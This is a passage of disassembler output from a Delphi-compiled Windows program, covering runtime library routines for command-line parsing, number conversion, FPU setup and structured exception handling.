		cmp	byte ptr [eax],	20h
		ja	short loc_402953
		mov	eax, [esp+28h+var_24]
		mov	edx, ebp
		call	sub_403854
		mov	eax, [esp+28h+var_1C]
		mov	[esi], eax
		mov	eax, [esp+28h+var_24]
		mov	eax, [eax]
		mov	[esp+28h+var_18], eax
		xor	ebp, ebp
		jmp	short loc_402A4F
; ---------------------------------------------------------------------------


loc_4029D4:				; CODE XREF: sub_402908+14Cj
		mov	eax, [esi]
		cmp	byte ptr [eax],	22h
		jnz	short loc_402A2B
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[esi], eax
		jmp	short loc_402A0B
; ---------------------------------------------------------------------------


loc_4029E7:				; CODE XREF: sub_402908+10Ej
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[edi], eax
		mov	eax, [esi]
		cmp	eax, [edi]
		jnb	short loc_402A0B


loc_4029F7:				; CODE XREF: sub_402908+101j
		mov	eax, [esi]
		mov	al, [eax]
		mov	edx, [esp+28h+var_18]
		mov	[edx+ebp], al
		inc	dword ptr [esi]
		inc	ebp
		mov	eax, [esi]
		cmp	eax, [edi]
		jb	short loc_4029F7


loc_402A0B:				; CODE XREF: sub_402908+DDj
					; sub_402908+EDj
		mov	eax, [esi]
		mov	bl, [eax]
		test	bl, bl
		jz	short loc_402A18
		cmp	bl, 22h
		jnz	short loc_4029E7


loc_402A18:				; CODE XREF: sub_402908+109j
		mov	eax, [esi]
		cmp	byte ptr [eax],	0
		jz	short loc_402A4F
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[esi], eax
		jmp	short loc_402A4F
; ---------------------------------------------------------------------------


loc_402A2B:				; CODE XREF: sub_402908+D1j
		mov	eax, [esi]
		push	eax
		call	sub_401028	; CharNextA
		mov	[edi], eax
		mov	eax, [esi]
		cmp	eax, [edi]
		jnb	short loc_402A4F


loc_402A3B:				; CODE XREF: sub_402908+145j
		mov	eax, [esi]
		mov	al, [eax]
		mov	edx, [esp+28h+var_18]
		mov	[edx+ebp], al
		inc	dword ptr [esi]
		inc	ebp
		mov	eax, [esi]
		cmp	eax, [edi]
		jb	short loc_402A3B


loc_402A4F:				; CODE XREF: sub_402908+CAj
					; sub_402908+115j ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	20h
		ja	loc_4029D4
		mov	eax, [esi]
		mov	[esp+28h+var_20], eax
		mov	eax, [esp+28h+var_20]
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402908	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A6C	proc near		; CODE XREF: sub_404FC4+1Bp start+14Ap

var_114		= dword	ptr -114h
var_110		= byte ptr -110h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF4h
		mov	ebx, edx
		mov	esi, eax
		mov	eax, ebx
		call	sub_403560
		test	esi, esi
		jnz	short loc_402AA3
		push	105h
		lea	eax, [esp+118h+var_110]
		push	eax
		push	0
		call	sub_401058	; GetModuleFileNameA
		mov	ecx, eax
		lea	edx, [esp+114h+var_110]
		mov	eax, ebx
		call	sub_403624
		jmp	short loc_402AC4
; ---------------------------------------------------------------------------


loc_402AA3:				; CODE XREF: sub_402A6C+15j
		call	sub_401048	; GetCommandLineA
		mov	[esp+114h+var_114], eax


loc_402AAB:				; CODE XREF: sub_402A6C+56j
		mov	edx, ebx
		mov	eax, [esp+114h+var_114]
		call	sub_402908
		mov	[esp+114h+var_114], eax
		test	esi, esi
		jz	short loc_402AC4
		cmp	dword ptr [ebx], 0
		jz	short loc_402AC4
		dec	esi
		jmp	short loc_402AAB
; ---------------------------------------------------------------------------


loc_402AC4:				; CODE XREF: sub_402A6C+35j
					; sub_402A6C+4Ej ...
		add	esp, 10Ch
		pop	esi
		pop	ebx
		retn
sub_402A6C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402AD0	proc near		; CODE XREF: sub_403A24+1Ep
					; sub_403A24+28p ...
		push	ebx
		push	esi
		mov	ebx, eax
		xor	esi, esi
		mov	ax, [ebx+4]
		cmp	ax, 0D7B1h
		jb	short loc_402B0F
		cmp	ax, 0D7B3h
		ja	short loc_402B0F
		and	ax, 0D7B2h
		cmp	ax, 0D7B2h
		jnz	short loc_402AF7
		mov	eax, ebx
		call	dword ptr [ebx+1Ch]
		mov	esi, eax


loc_402AF7:				; CODE XREF: sub_402AD0+1Ej
		test	esi, esi
		jnz	short loc_402B02
		mov	eax, ebx
		call	dword ptr [ebx+24h]
		mov	esi, eax


loc_402B02:				; CODE XREF: sub_402AD0+29j
		test	esi, esi
		jz	short loc_402B21
		mov	eax, esi
		call	sub_4028B8
		jmp	short loc_402B21
; ---------------------------------------------------------------------------


loc_402B0F:				; CODE XREF: sub_402AD0+Ej
					; sub_402AD0+14j
		cmp	ebx, offset dword_407038
		jz	short loc_402B21
		mov	eax, 67h
		call	sub_4028B8


loc_402B21:				; CODE XREF: sub_402AD0+34j
					; sub_402AD0+3Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_402AD0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402B28	proc near		; CODE XREF: sub_4045CC+1Fp
					; sub_404D90+1Fp
		push	ebx
		mov	bl, [edx]
		cmp	cl, bl
		jbe	short loc_402B31
		mov	ecx, ebx


loc_402B31:				; CODE XREF: sub_402B28+5j
		mov	[eax], cl
		inc	edx
		inc	eax
		and	ecx, 0FFh
		xchg	eax, edx
		call	sub_4028C8
		pop	ebx
		retn
sub_402B28	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402B44	proc near		; CODE XREF: sub_403DA8+Ap
					; sub_4040B4+7Ep ...
		push	edi
		mov	edi, eax
		mov	ch, cl
		mov	eax, ecx
		shl	eax, 10h
		mov	ax, cx
		mov	ecx, edx
		sar	ecx, 2
		js	short loc_402B61
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_402B61:				; CODE XREF: sub_402B44+12j
		pop	edi
		retn
sub_402B44	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402B64	proc near		; CODE XREF: sub_402BC4+4p

var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		push	edx
		sub	esp, 14h
		mov	edi, ecx
		mov	esi, eax
		cdq
		xor	eax, edx
		sub	eax, edx
		mov	ecx, 0Ah
		xor	ebx, ebx


loc_402B7B:				; CODE XREF: sub_402B64+24j
		xor	edx, edx
		div	ecx
		add	edx, 30h
		mov	[esp+ebx+24h+var_24], dl
		inc	ebx
		test	eax, eax
		jnz	short loc_402B7B
		test	esi, esi
		jge	short loc_402B93
		mov	[esp+ebx+24h+var_24], 2Dh
		inc	ebx


loc_402B93:				; CODE XREF: sub_402B64+28j
		mov	[edi], bl
		inc	edi
		mov	ecx, [esp+24h+var_10]
		cmp	ecx, 0FFh
		jle	short loc_402BA7
		mov	ecx, 0FFh


loc_402BA7:				; CODE XREF: sub_402B64+3Cj
		sub	ecx, ebx
		jle	short loc_402BB2
		add	[edi-1], cl
		mov	al, 20h
		rep stosb


loc_402BB2:				; CODE XREF: sub_402B64+45j
					; sub_402B64+56j
		mov	al, [esp+ebx-1]
		mov	[edi], al
		inc	edi
		dec	ebx
		jnz	short loc_402BB2
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402B64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402BC4	proc near		; CODE XREF: sub_4045CC+12p
					; sub_404D90+12p
		mov	ecx, edx
		xor	edx, edx
		call	sub_402B64
		retn
sub_402BC4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402BD0	proc near		; CODE XREF: sub_4039B0+41p
					; sub_4045C0+3p ...
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	eax
		test	eax, eax
		jz	short loc_402C46
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, 0CCCCCCCh


loc_402BE3:				; CODE XREF: sub_402BD0+19j
		mov	bl, [esi]
		inc	esi
		cmp	bl, 20h
		jz	short loc_402BE3
		mov	ch, 0
		cmp	bl, 2Dh
		jz	short loc_402C54
		cmp	bl, 2Bh
		jz	short loc_402C56


loc_402BF7:				; CODE XREF: sub_402BD0+89j
		cmp	bl, 24h
		jz	short loc_402C5B
		cmp	bl, 78h
		jz	short loc_402C5B
		cmp	bl, 58h
		jz	short loc_402C5B
		cmp	bl, 30h
		jnz	short loc_402C1E
		mov	bl, [esi]
		inc	esi
		cmp	bl, 78h
		jz	short loc_402C5B
		cmp	bl, 58h
		jz	short loc_402C5B
		test	bl, bl
		jz	short loc_402C3C
		jmp	short loc_402C22
; ---------------------------------------------------------------------------


loc_402C1E:				; CODE XREF: sub_402BD0+39j
		test	bl, bl
		jz	short loc_402C4F


loc_402C22:				; CODE XREF: sub_402BD0+4Cj
					; sub_402BD0+6Aj
		sub	bl, 30h
		cmp	bl, 9
		ja	short loc_402C4F
		cmp	eax, edi
		ja	short loc_402C4F
		lea	eax, [eax+eax*4]
		add	eax, eax
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_402C22


loc_402C3C:				; CODE XREF: sub_402BD0+4Aj
		dec	ch
		jz	short loc_402C49
		test	eax, eax
		jge	short loc_402C98
		jmp	short loc_402C4F
; ---------------------------------------------------------------------------


loc_402C46:				; CODE XREF: sub_402BD0+8j
					; sub_402BD0+95j
		inc	esi
		jmp	short loc_402C4F
; ---------------------------------------------------------------------------


loc_402C49:				; CODE XREF: sub_402BD0+6Ej
		neg	eax
		jle	short loc_402C98
		js	short loc_402C98


loc_402C4F:				; CODE XREF: sub_402BD0+50j
					; sub_402BD0+58j ...
		pop	ebx
		sub	esi, ebx
		jmp	short loc_402C9B
; ---------------------------------------------------------------------------


loc_402C54:				; CODE XREF: sub_402BD0+20j
		inc	ch


loc_402C56:				; CODE XREF: sub_402BD0+25j
		mov	bl, [esi]
		inc	esi
		jmp	short loc_402BF7
; ---------------------------------------------------------------------------


loc_402C5B:				; CODE XREF: sub_402BD0+2Aj
					; sub_402BD0+2Fj ...
		mov	edi, 0FFFFFFFh
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jz	short loc_402C46


loc_402C67:				; CODE XREF: sub_402BD0+C0j
		cmp	bl, 61h
		jb	short loc_402C6F
		sub	bl, 20h


loc_402C6F:				; CODE XREF: sub_402BD0+9Aj
		sub	bl, 30h
		cmp	bl, 9
		jbe	short loc_402C82
		sub	bl, 11h
		cmp	bl, 5
		ja	short loc_402C4F
		add	bl, 0Ah


loc_402C82:				; CODE XREF: sub_402BD0+A5j
		cmp	eax, edi
		ja	short loc_402C4F
		shl	eax, 4
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_402C67
		dec	ch
		jnz	short loc_402C98
		neg	eax


loc_402C98:				; CODE XREF: sub_402BD0+72j
					; sub_402BD0+7Bj ...
		pop	ecx
		xor	esi, esi


loc_402C9B:				; CODE XREF: sub_402BD0+82j
		mov	[edx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402BD0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402CA4	proc near		; CODE XREF: sub_402CAC+5p
					; sub_402CAC+11p
		jmp	ds:dword_4080E8
sub_402CA4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402CAC	proc near		; CODE XREF: sub_403A78+39p
		push	ebx
		xor	ebx, ebx
		push	0
		call	sub_402CA4	; GetKeyboardType
		cmp	eax, 7
		jnz	short loc_402CD7
		push	1
		call	sub_402CA4	; GetKeyboardType
		and	eax, 0FF00h
		cmp	eax, 0D00h
		jz	short loc_402CD5
		cmp	eax, 400h
		jnz	short loc_402CD7


loc_402CD5:				; CODE XREF: sub_402CAC+20j
		mov	bl, 1


loc_402CD7:				; CODE XREF: sub_402CAC+Dj
					; sub_402CAC+27j
		mov	eax, ebx
		pop	ebx
		retn
sub_402CAC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402CDC	proc near		; CODE XREF: sub_403A78+42p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		movzx	eax, ds:word_40600C
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		push	0
		push	offset aSoftwareBorlan ; "SOFTWARE\\Borland\\Delphi\\RTL"
		push	80000002h
		call	sub_401078	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_402D54
		xor	eax, eax
		push	ebp
		push	offset loc_402D4D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_C], 4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	0
		push	offset aFpumaskvalue ; "FPUMaskValue"
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_401080	; RegQueryValueExA
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402D54


loc_402D43:				; CODE XREF: sub_402CDC+76j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_401070	; RegCloseKey
		retn
; ---------------------------------------------------------------------------


loc_402D4D:				; DATA XREF: sub_402CDC+2Eo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_402D43
; ---------------------------------------------------------------------------


loc_402D54:				; CODE XREF: sub_402CDC+29j
					; DATA XREF: sub_402CDC+62o
		mov	ax, ds:word_40600C
		and	ax, 0FFC0h
		mov	dx, word ptr [ebp+var_8]
		and	dx, 3Fh
		or	ax, dx
		mov	ds:word_40600C,	ax
		mov	esp, ebp
		pop	ebp
		retn
sub_402CDC	endp

; ---------------------------------------------------------------------------
		align 4
aSoftwareBorlan	db 'SOFTWARE\Borland\Delphi\RTL',0 ; DATA XREF: sub_402CDC+18o
aFpumaskvalue	db 'FPUMaskValue',0     ; DATA XREF: sub_402CDC+4Co
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402DA0	proc near		; CODE XREF: sub_403230-368p
					; CODE:00403176p ...
		fninit
		wait
		fldcw	ds:word_40600C
		retn
sub_402DA0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402DAC	proc near		; CODE XREF: CODE:00402FC7j
					; sub_40300C+30p ...
		test	eax, eax
		jz	short locret_402DB7
		mov	dl, 1
		mov	ecx, [eax]
		call	dword ptr [ecx-4]

locret_402DB7:				; CODE XREF: sub_402DAC+2j
		retn
sub_402DAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_402DB8	proc near		; CODE XREF: sub_40300C+35p
		cmp	ds:byte_406010,	1
		jbe	short locret_402DD2
		push	0
		push	0
		push	0
		push	0EEDFADFh
		call	ds:off_407010

locret_402DD2:				; CODE XREF: sub_402DB8+7j
		retn
sub_402DB8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402DD4	proc near		; CODE XREF: sub_403230-33Bp
		cmp	ds:byte_406010,	0
		jz	short locret_402DF4
		push	eax
		push	eax
		push	edx
		push	esp
		push	2
		push	0
		push	0EEDFAE4h
		call	ds:off_407010
		add	esp, 8
		pop	eax

locret_402DF4:				; CODE XREF: sub_402DD4+7j
		retn
sub_402DD4	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_402E10


loc_402DF8:				; CODE XREF: sub_402E10+Bj
		push	esp
		push	1
		push	0
		push	0EEDFAE0h
		call	ds:off_407010
		add	esp, 4
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_402E10
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402E10	proc near		; CODE XREF: sub_403230-28Bp

; FUNCTION CHUNK AT 00402DF8 SIZE 00000015 BYTES

		cmp	ds:byte_406010,	1
		jbe	short locret_402E20
		push	eax
		push	ebx
		jmp	loc_402DF8
; ---------------------------------------------------------------------------

locret_402E20:				; CODE XREF: sub_402E10+7j
		retn
sub_402E10	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402E24	proc near		; CODE XREF: sub_402E44+Cp
		test	ecx, ecx
		jz	short locret_402E41
		mov	eax, [ecx+1]
		cmp	byte ptr [ecx],	0E9h
		jz	short loc_402E3C
		cmp	byte ptr [ecx],	0EBh
		jnz	short locret_402E41
		movsx	eax, al
		inc	ecx
		inc	ecx
		jmp	short loc_402E3F
; ---------------------------------------------------------------------------


loc_402E3C:				; CODE XREF: sub_402E24+Aj
		add	ecx, 5


loc_402E3F:				; CODE XREF: sub_402E24+16j
		add	ecx, eax

locret_402E41:				; CODE XREF: sub_402E24+2j
					; sub_402E24+Fj
		retn
sub_402E24	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402E44	proc near		; CODE XREF: sub_401904+16F5p
		cmp	ds:byte_406010,	1
		jbe	short locret_402E6A
		push	eax
		push	edx
		push	ecx
		call	sub_402E24
		push	ecx
		push	esp
		push	1
		push	0
		push	0EEDFAE1h
		call	ds:off_407010
		pop	ecx
		pop	ecx
		pop	edx
		pop	eax

locret_402E6A:				; CODE XREF: sub_402E44+7j
		retn
sub_402E44	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402E6C	proc near		; CODE XREF: sub_403060+28p
		cmp	ds:byte_406010,	1
		jbe	short locret_402E87
		push	edx
		push	esp
		push	1
		push	0
		push	0EEDFAE2h
		call	ds:off_407010
		pop	edx

locret_402E87:				; CODE XREF: sub_402E6C+7j
		retn
sub_402E6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_402E88	proc near		; CODE XREF: CODE:loc_4031BDp
		push	eax
		push	edx
		cmp	ds:byte_406010,	1
		jbe	short loc_402EA3
		push	esp
		push	2
		push	0
		push	0EEDFAE3h
		call	ds:off_407010


loc_402EA3:				; CODE XREF: sub_402E88+9j
		pop	edx
		pop	eax
		retn
sub_402E88	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_403230


loc_402EA8:				; CODE XREF: sub_403230:loc_403285j
					; sub_4032A0:loc_4032F5j ...
		mov	eax, [esp-4+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_402FCC
		cmp	dword ptr [eax], 0EEDFADEh
		mov	edx, [eax+18h]
		mov	ecx, [eax+14h]
		jz	short loc_402F35
		cld
		call	sub_402DA0
		mov	edx, ds:dword_40700C
		test	edx, edx
		jz	loc_402FCC
		call	edx
		test	eax, eax
		jz	loc_402FCC
		mov	edx, [esp-4+arg_8]
		mov	ecx, [esp-4+arg_0]
		cmp	dword ptr [ecx], 0EEFFACEh
		jz	short loc_402F2C
		call	sub_402DD4
		cmp	ds:byte_406014,	0
		jbe	short loc_402F2C
		cmp	ds:byte_406010,	0
		ja	short loc_402F2C
		lea	ecx, [esp-4+arg_0]
		push	eax
		push	ecx
		call	sub_401018	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	eax
		jz	loc_402FCC
		mov	edx, eax
		mov	eax, [esp+4]
		mov	ecx, [eax+0Ch]
		jmp	short loc_402F5C
; ---------------------------------------------------------------------------


loc_402F2C:				; CODE XREF: sub_403230-33Dj
					; sub_403230-32Fj ...
		mov	edx, eax
		mov	eax, [esp-4+arg_0]
		mov	ecx, [eax+0Ch]


loc_402F35:				; CODE XREF: sub_403230-36Bj
		cmp	ds:byte_406014,	1
		jbe	short loc_402F5C
		cmp	ds:byte_406010,	0
		ja	short loc_402F5C
		push	eax
		lea	eax, [esp+arg_0]
		push	edx
		push	ecx
		push	eax
		call	sub_401018	; UnhandledExceptionFilter
		cmp	eax, 0
		pop	ecx
		pop	edx
		pop	eax
		jz	short loc_402FCC


loc_402F5C:				; CODE XREF: sub_403230-306j
					; sub_403230-2F4j ...
		or	dword ptr [eax+4], 2
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, fs:[ebx]
		push	ebx
		push	eax
		push	edx
		push	ecx
		mov	edx, [esp+20h+arg_0]
		push	0
		push	eax
		push	offset loc_402F80
		push	edx
		call	ds:off_407014


loc_402F80:				; DATA XREF: sub_403230-2BCo
		mov	edi, [esp+30h+var_8]
		call	sub_403BC4
		push	dword ptr [eax+0]
		mov	[eax+0], esp
		mov	ebp, [edi+8]
		mov	ebx, [edi+4]
		mov	dword ptr [edi+4], offset sub_402FAC
		add	ebx, 5
		call	sub_402E10
		jmp	ebx
; END OF FUNCTION CHUNK	FOR sub_403230

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402FAC	proc near		; DATA XREF: sub_403230-295o
		jmp	loc_402FD4
sub_402FAC	endp

; ---------------------------------------------------------------------------
		call	sub_403BC4
		mov	ecx, [eax+0]
		mov	edx, [ecx]
		mov	[eax+0], edx
		mov	eax, [ecx+8]
		jmp	sub_402DAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_403230


loc_402FCC:				; CODE XREF: sub_403230-37Dj
					; sub_403230-35Bj ...
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_403230
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_401904


loc_402FD4:				; CODE XREF: sub_401904:loc_4019CCj
					; sub_4019DC:loc_401AD0j ...
		mov	eax, [esp+4]
		mov	edx, [esp+8]
		test	dword ptr [eax+4], 6
		jz	short loc_403004
		mov	ecx, [edx+4]
		mov	dword ptr [edx+4], offset loc_403004
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, [edx+8]
		add	ecx, 5
		call	sub_402E44
		call	ecx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_403004:				; CODE XREF: sub_401904+16DFj
					; DATA XREF: sub_401904+16E4o
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_401904
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40300C	proc near		; CODE XREF: sub_403230+5Fp
					; sub_4032A0+5Fp

arg_2C		= dword	ptr  30h

		mov	eax, [esp+arg_2C]
		mov	dword ptr [eax+4], offset loc_403057
		call	sub_403BC4
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+0Ch]
		and	dword ptr [eax+4], 0FFFFFFFDh
		cmp	dword ptr [eax], 0EEDFADEh
		jz	short loc_403046
		mov	eax, [edx+8]
		call	sub_402DAC
		call	sub_402DB8


loc_403046:				; CODE XREF: sub_40300C+2Bj
		xor	eax, eax
		add	esp, 14h
		mov	edx, fs:[eax]
		pop	ecx
		mov	edx, [edx]
		mov	[ecx], edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_403057:				; DATA XREF: sub_40300C+4o
		mov	eax, 1
		retn
sub_40300C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403060	proc near		; CODE XREF: sub_403230+64p
					; sub_4032A0+64p ...

arg_2C		= dword	ptr  30h

		call	sub_403BC4
		mov	edx, [eax+0]
		mov	ecx, [edx]
		mov	[eax+0], ecx
		mov	eax, [edx+8]
		call	sub_402DAC
		pop	edx
		mov	esp, [esp-4+arg_2C]
		xor	eax, eax
		pop	ecx
		mov	fs:[eax], ecx
		pop	eax
		pop	ebp
		call	sub_402E6C
		jmp	edx
sub_403060	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403090	proc near		; CODE XREF: sub_402160+10Cp
					; sub_402160+16Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	edx, edx
		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		add	ecx, 5
		mov	fs:[edx], eax
		call	ecx
		retn	0Ch
sub_403090	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4030A8:				; CODE XREF: CODE:004031A8j
					; CODE:004031B4j
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [edx]
		cmp	eax, 0C0000092h
		jg	short loc_4030E3
		jz	short loc_403115
		cmp	eax, 0C000008Eh
		jg	short loc_4030D5
		jz	short loc_403119
		sub	eax, 0C0000005h
		jz	short loc_403125
		sub	eax, 87h
		jz	short loc_40310D
		dec	eax
		jz	short loc_403121
		jmp	short loc_403135
; ---------------------------------------------------------------------------


loc_4030D5:				; CODE XREF: CODE:004030BEj
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_403115
		jz	short loc_403111
		jmp	short loc_403135
; ---------------------------------------------------------------------------


loc_4030E3:				; CODE XREF: CODE:004030B5j
		cmp	eax, 0C0000096h
		jg	short loc_4030FB
		jz	short loc_403129
		sub	eax, 0C0000093h
		jz	short loc_403121
		dec	eax
		jz	short loc_403109
		dec	eax
		jz	short loc_40311D
		jmp	short loc_403135
; ---------------------------------------------------------------------------


loc_4030FB:				; CODE XREF: CODE:004030E8j
		sub	eax, 0C00000FDh
		jz	short loc_403131
		sub	eax, 3Dh
		jz	short loc_40312D
		jmp	short loc_403135
; ---------------------------------------------------------------------------


loc_403109:				; CODE XREF: CODE:004030F4j
		mov	al, 0C8h
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_40310D:				; CODE XREF: CODE:004030CEj
		mov	al, 0C9h
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_403111:				; CODE XREF: CODE:004030DFj
		mov	al, 0CDh
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_403115:				; CODE XREF: CODE:004030B7j
					; CODE:004030DDj
		mov	al, 0CFh
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_403119:				; CODE XREF: CODE:004030C0j
		mov	al, 0C8h
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_40311D:				; CODE XREF: CODE:004030F7j
		mov	al, 0D7h
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_403121:				; CODE XREF: CODE:004030D1j
					; CODE:004030F1j
		mov	al, 0CEh
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_403125:				; CODE XREF: CODE:004030C7j
		mov	al, 0D8h
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_403129:				; CODE XREF: CODE:004030EAj
		mov	al, 0DAh
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_40312D:				; CODE XREF: CODE:00403105j
		mov	al, 0D9h
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_403131:				; CODE XREF: CODE:00403100j
		mov	al, 0CAh
		jmp	short loc_403137
; ---------------------------------------------------------------------------


loc_403135:				; CODE XREF: CODE:004030D3j
					; CODE:004030E1j ...
		mov	al, 0FFh


loc_403137:				; CODE XREF: CODE:0040310Bj
					; CODE:0040310Fj ...
		and	eax, 0FFh
		mov	edx, [edx+0Ch]
		call	sub_402854
; ---------------------------------------------------------------------------
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_403148:				; DATA XREF: sub_4031E8+Do
		mov	eax, [esp+4]
		test	dword ptr [eax+4], 6
		jnz	loc_4031E2
		cmp	ds:byte_406010,	0
		ja	short loc_403171
		lea	eax, [esp+4]
		push	eax
		call	sub_401018	; UnhandledExceptionFilter
		cmp	eax, 0
		jz	short loc_4031E2


loc_403171:				; CODE XREF: CODE:00403160j
		mov	eax, [esp+4]
		cld
		call	sub_402DA0
		mov	edx, [esp+8]
		push	0
		push	eax
		push	offset loc_40318E
		push	edx
		call	ds:off_407014


loc_40318E:				; DATA XREF: CODE:00403182o
		mov	ebx, [esp+4]
		cmp	dword ptr [ebx], 0EEDFADEh
		mov	edx, [ebx+14h]
		mov	eax, [ebx+18h]
		jz	short loc_4031BD
		mov	edx, ds:dword_40700C
		test	edx, edx
		jz	loc_4030A8
		mov	eax, ebx
		call	edx
		test	eax, eax
		jz	loc_4030A8
		mov	edx, [ebx+0Ch]


loc_4031BD:				; CODE XREF: CODE:0040319Ej
		call	sub_402E88
		mov	ecx, ds:dword_407004
		test	ecx, ecx
		jz	short loc_4031CE
		call	ecx


loc_4031CE:				; CODE XREF: CODE:004031CAj
		mov	ecx, [esp+4]
		mov	eax, 0D9h
		mov	edx, [ecx+14h]
		mov	[esp], edx
		jmp	sub_403554
; ---------------------------------------------------------------------------


loc_4031E2:				; CODE XREF: CODE:00403153j
					; CODE:0040316Fj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4031E8	proc near		; CODE XREF: sub_403310+2Ep
		xor	edx, edx
		lea	eax, [ebp-0Ch]
		mov	ecx, fs:[edx]
		mov	fs:[edx], eax
		mov	[eax], ecx
		mov	dword ptr [eax+4], offset loc_403148
		mov	[eax+8], ebp
		mov	ds:dword_407624, eax
		retn
sub_4031E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403208	proc near		; CODE XREF: sub_403468:loc_4034F8p
		xor	edx, edx
		mov	eax, ds:dword_407624
		test	eax, eax
		jz	short locret_40322F
		mov	ecx, fs:[edx]
		cmp	eax, ecx
		jnz	short loc_403222
		mov	eax, [eax]
		mov	fs:[edx], eax
		retn
; ---------------------------------------------------------------------------
